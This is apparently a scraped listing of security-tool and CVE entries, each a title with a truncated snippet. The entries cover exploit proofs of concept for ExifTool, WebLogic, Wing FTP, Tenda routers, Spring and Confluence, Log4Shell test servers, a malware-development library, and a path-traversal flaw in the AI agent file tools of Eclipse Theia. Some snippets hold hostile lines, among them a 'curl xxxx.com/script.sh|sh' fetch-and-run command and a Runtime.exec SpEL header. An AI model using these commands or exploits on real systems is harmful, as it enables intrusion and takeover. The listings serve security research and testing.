EUVD-2026-68519

In Eclipse Theia versions 1.73.0 up to but not including 1.75.0, the AI "Agent Mode" file-change tools writeFileContent, suggestFileContent, and the replacement and state helpers resolved a model-supplied file path without a workspace-containment check. A crafted relative path such as ../.bashrc,...

CVE-2026-82217

Eclipse Theia versions 1.73.0 through 1.74.9 are affected by a path traversal vulnerability in the AI "Agent Mode" file-change tools (writeFileContent , suggestFileContent , and related helpers). The root cause is the absence of a workspace-containment check on model-supplied file paths, allowing...

CVE-2026-82217

In Eclipse Theia versions 1.73.0 up to but not including 1.75.0, the AI "Agent Mode" file-change tools writeFileContent, suggestFileContent, and the replacement and state helpers resolved a model-supplied file path without a workspace-containment check. A crafted relative path such as ../.bashrc,...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

jndi-ldap-test-server

jndi-ldap-test-server Este es un servidor LDAP minimalista destinado a probar la vulnerabilidad a ataques de inyección JNDI+LDAP en Java, especialmente CVE-2021-44228. Cómo probar la vulnerabilidad a CVE-2021-44228 1. Descarga el binario del servidor de prueba para tu plataforma puedes encontrar...

jndi-ldap-test-server

jndi-ldap-test-server This is a minimalistic LDAP server that is meant for test vulnerability to JNDI+LDAP injection attacks in Java, especially CVE-2021-44228. How to test vulnerability to CVE-2021-44228 1. Download the test server binary for your platform you can find all binaries under Release...

weblogic_CVE-2023-21931_POC-EXP

POC&EXP of CVE-2023-21931 CVE-2023-21931 Analysis Article JNDI-Injection-Exploit Description Before running the PoC script, it's advisable to add the following JAR files as library dependencies: root@kitploit: coherence\lib oraclecommon\lib oraclecommon\modules wlserver\modules POC&EXP...

Dubbo-deserialization

Apache Dubbo Deserialization Vulnerability Research This repository contains research materials, proof-of-concept code, and exploitation tools related to Apache Dubbo deserialization vulnerabilities, primarily focusing on CVE-2020-1948. Repository Structure Directories...

CVE-2025-47812-poC

CVE-2025-47812-poC Simple exploit for Wing FTP Server RCE CVE-2025-47812 to run commands and get a reverse shell. For educational use only. Vulnerability Details This security vulnerability was publicly disclosed and detailed by RCESecurity...

Gitlab-CVE-2026-19478

CVE-2026-19478 — Inyección de directiva @glintroduced en GraphQL de GitLab Inyección remota de código sin autenticación mediante directiva GraphQL en GitLab CE/EE — Eliminar cualquier proyecto público con una sola petición HTTP Un laboratorio práctico de pruebas de penetración que reproduce...

Evasor

Overview The Evasor is an automated security assessment tool which locates existing executables on the Windows operating system that can be used to bypass any Application Control rules. It is very easy to use, quick, saves time and fully automated which generates for you a report including...

Web-Security-Learning

Web-Security-Learning Dirección del proyecto: https://github.com/CHYbeta/Web-Security-Learning Comunidad de conocimiento 【Vulnerabilidades y Explotación】: https://t.zsxq.com/mm2zBeq Índice: Web-Security-Learning Web Security Inyección SQL MySql MSSQL PostgreSQL MongoDB Técnicas Herramientas XSS...

zizzania

zizzania zizzania sniffs wireless traffic listening for WPA handshakes and dumping only those frames suitable to be decrypted one beacon + EAPOL frames + data. In order to speed up the process, zizzania sends IEEE 802.11 DeAuth frames to the stations whose handshake is needed, properly handling...

CVE-2022-39073

CVE-2022-39073 Detalles del firmware: root@kitploit: wainnerversion: BDPOSTEMF286RMODULEV1.0.0B12 crversion: CRITPOSTEMF286RV1.0.0B10 Requisitos previos requests pip install requests Inyección de comandos La vulnerabilidad es una inyección de comandos compartida entre el binario ztenetlinkdetect ...

CVE-2022-30023

CVE-2022-30023 Authenticated Command Injection on Tenda HG9 Router Usage root@kitploit: git clone https://github.com/Haniwa0x01/CVE-2022-30023 cd CVE-2022-30023 python exploit.py -u http://target -U "user" -P "password" Example root@kitploit: pc@pc-note:/CVE-2022-30023/$ python3 exploit.py -u...

Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║ ██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║ ███████╗╚██████╔╝╚██████╔╝ ██║███████║██║...

VX-API

administrado por vx-underground | síguenos en Twitter | descarga muestras de malware en la página VXUG/samples VX-API Versión: 2.01.015 Desarrollador: smellyvx La VX-API es una colección de funcionalidades maliciosas para ayudar en el desarrollo de malware. Se recomienda clonar y/o descargar todo...

spring-spel-0day-poc

spring-spel-0day-poc POC y EXP de RCE para spring-cloud/spring-cloud-function https://github.com/spring-cloud/spring-cloud-function cabecera root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" compilación root@kitploit: wget...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL Usage root@kitploit: java -jar CVE-2022-26134.jar Godzilla Password Godzilla Key example java -jar CVE-2022-26134.jar pass key If the memory shell has been injected successfully but Godzilla cannot connect, please add the following protocol header in the request...

CVE-2023-2591

CVE-2023-2591: Stored HTML Injection in Item Label in Teampass 3.0.6 - M Nadeem Qazi I recently identified a security vulnerability in nilsteampassnet/teampass, a popular password management tool. This vulnerability, identified as CVE-2023-2591, is a stored HTML injection vulnerability in the ite...